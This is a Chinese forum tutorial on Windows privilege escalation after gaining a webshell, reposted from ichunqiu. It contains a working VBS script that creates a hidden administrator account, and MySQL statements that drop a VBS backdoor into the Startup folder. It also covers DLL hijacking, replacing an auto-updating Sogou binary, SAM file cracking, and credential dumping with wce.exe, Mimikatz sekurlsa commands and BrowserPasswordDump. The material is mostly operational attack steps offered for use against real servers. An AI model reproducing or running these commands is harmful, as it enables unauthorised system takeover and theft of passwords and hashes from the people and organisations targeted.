【吐血撰写】渗透测试技术基础——提权技术基础大全二)
原文:http://bbs.ichunqiu.com/thread-8390-1-1.html?from=jianshu
问:被删除的储存过程如何被恢复?
一般管理员会删除储存过程,在我们手动恢复储存过程时,经常会发生各种错误。我们要对症下药,根据报错信息,找到问题所在。
0x03 权限继承类提权---基于DLL劫持的WebShell提权
什么是DLL劫持
DLL劫持的原因。
1、Windows的DLL称为动态链接库,动态链接库技术的本质实际上是将可执行文件与库文件分离,DLL库文件通过导出表提供API接口,PE加载器通过exe文件的导入表加载相应的DLL,并根据exe文件中的INT查询DLL中的函数地址,同时写入IAT。
2、当PE加载器根据exe文件的导入表加载DLL文件时,它会按照程序的当前目录-->system32目录-->windows目录-->
3、DLL的转发器功能为我们提供了必要的条件,所谓DLL转发器功能是将对某个DLL文件的导出函数调用转到另一个DLL文件的导出函数中。类似于下面的代码:
<font size="3">xxx.dll</font>
<font size="3">#pragma comment(linker, "/EXPORT:MessageBoxA = user32.MessageBoxA")</font>
除了lpk.dll劫持,常常被黑客们使用的还有针对专门的第三方软件的个性化dll。
0x04 权限继承类提权
开机启动项提权?
windows开机时候都会有一些开机启动的程序,那时候启动的程序权限都是system,因为是system把他们启动的,利用这点,我们可以将自动化脚本写入启动项,达到提权的目的
关于自动化脚本?
不会写vbs脚本?
<font size="3">Set wsnetwork=CreateObject("WSCRIPT.NETWORK")
os="WinNT://"&wsnetwork.ComputerName
Set ob=GetObject(os) '得到adsi接口,绑定
Set oe=GetObject(os&"/Administrators,group") '属性,admin组
Set od=ob.Create("user","nsfocus") '建立用户
od.SetPassword "Nsf0cus123" '设置密码
od.SetInfo
Set of=GetObject(os&"/nsfocus",user) '得到用户
oe.add os&"/nsfocus"
</font>
保存成*.vbs,一般cmd中使用如下格式执行:
<font size="3">C:>cscript *.vbs
</font>
我们有vbs之后的事......
<font size="3"><div style="line-height: 1.5;"></font>
TIPS:
1.通常我们会主动去重启服务器,利用远程溢出(Ms12-020)或社工手法等。
2.写入脚本的时候也常常用数据库去写入
*连接mysql数据库后执行
1.创建a表列名cmd并写入文本:
create table a (cmd text);
2.一条一条执行:
<font size="3">insert into a values ("set wshshell=createobject (""wscript.shell"" ) " ); </font>
<font size="3">insert into a values ("a=wshshell.run (""cmd.exe /c net user 1 1 /add"",0) " ); </font>
<font size="3">insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators 1 /add"",0) " );</font>
3.建立好列并写入数据了,接着就是导出了。
C:\Documents and Settings\All Users\「开始」菜单\程序\启动\这个是启动目录。
使用命令:select * from a into outfile "C:\Documents and Settings\All Users\「开始」菜单\程序\启动\a.vbs"
成功导出vbs到启动目录
替换文件提权
搜狗拼音文件夹权限漏洞
D:\Program Files (x86)\SogouInput\7.0.0.9553\PinyinUp.exe 输入法定时联网,更新词库,检查版本等信息,自动执行。替换成我们想要的:加账号,读密码等提权操作。举一反三,很多类似的自动运行的应用程序。获取高权限账号之后获取Windows管理员账号下载系统的 sam文件,(“%windir%system32\config\”)然后用SamInside等软件进行破解,只要能拿到,肯花时间,就一定可以破解。
复制不出来怎么办?——“冰刃(Iceword)”
获取FTP账号
渗透过程中我们可能会遇到目标服务器上有ftp软件,如果里面保存了重要的记录,那就是意想不到的收获,让它把我们带到内网更深处去。很多ftp软件的登录信息都会保存在本地,有些在软件根目录,bin,ini等文件中,有些则需要从软件本身导出。
这里我们以flashfxp为例
读取操作系统账户的密码
渗透过程中,为了下一步渗透,我们常常会需要管理员的操作系统密码、数据库密码、常用密码等信息。获取操作系统密码已经有很多工具可以办到了,那么,为什么我们可以利用工具轻松获取到操作系统的常用密码呢?
通常是从内存里抓出active账号的 lm hash和ntlm hash
介绍几款工具
Wce.exe
<div>wce.exe -w抓明文hash</div><div>wce.exe -l 列出账号NTLM的hash</div><div>wce.exe -s Hash注入</div>
法国神器:Mimikatz
获得缓存中的Hash值
1 cls 清屏
2.exit 退出
3.version 查看mimikatz的版本
4.system::user 查看当前登录的系统用户
5.system::computer 查看计算机名称
6.process::list 列出进程
7.process::suspend 进程名称 暂停进程
8.process::stop 进程名称 结束进程
9.process::modules 列出系统的核心模块及所在位置
10.service::list 列出系统的服务
11.service::remove 移除系统的服务
12.service::start stop 服务名称 启动或停止服务
13.privilege::list 列出权限列表
14.privilege::enable 激活一个或多个权限
15.privilege::debug 提升权限
16.nogpo::cmd 打开系统的cmd.exe
17.nogpo::regedit 打开系统的注册表
18.nogpo::taskmgr 打开任务管理器
19.ts::sessions 显示当前的会话
20.ts::processes 显示进程和对应的pid情况等
21.sekurlsa::wdigest 获取本地用户信息及密码
22.sekurlsa::tspkg 获取tspkg用户信息及密码
23.sekurlsa::logonPasswords 获登陆用户信息及密码
获取浏览器中“保存下来”的密码
chrome://settings/passwords
其实可以一次性读出各种浏览器保存下来的密码,
推荐给大家一个神器的小工具:
BrowserPasswordDump
它具备了其他优秀渗透小工具的优点,可以在webshell中执行,利用追加符号查看结果。而且轻量,速度快。